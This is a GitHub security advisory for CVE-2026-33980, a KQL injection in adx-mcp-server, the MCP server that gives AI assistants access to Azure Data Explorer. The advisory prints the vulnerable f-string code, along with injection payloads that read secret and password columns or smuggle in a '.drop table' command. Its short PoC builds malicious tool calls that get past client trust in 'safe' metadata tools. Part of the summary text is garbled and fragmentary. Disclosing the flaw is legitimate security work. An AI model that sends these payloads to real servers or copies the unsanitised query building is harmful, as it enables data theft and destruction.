GitHub Advisoryadvisory · PyPI
GHSA-vphc-468g-8rfp Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries
HIGH
Official page ↗
- Aliases
- CVE-2026-33980
- Ecosystem
- PyPI
- Packages
- adx-mcp-server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Weaknesses
- CWE-943
- Reviewed
- 2026-03-27
Affected packages
• PyPI adx-mcp-server: <= 1.1.0 (no fix yet)
Description
Summary
adx-mcp-server ( List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
```
KQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:
• `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables
• Newline-separated management commands like `.drop table important_data` via `get_table_details`
• Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.
PoC
```python
PoC: KQL Injection via get_table_schema tool
The table_name parameter is injected into: f"{table_name} | getschema"
import json
MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
The // comments out "| getschema", executing an arbitrary data query instead
Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
Resulting KQL:
.show table users details
.drop table critical_data details
```
Related
Alias · CVE (1)
- CVE-2026-33980 Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure… vulnerability
Weakness · CWE (1)
- CWE-943 Improper Neutralization of Special Elements in Data Query Logic weakness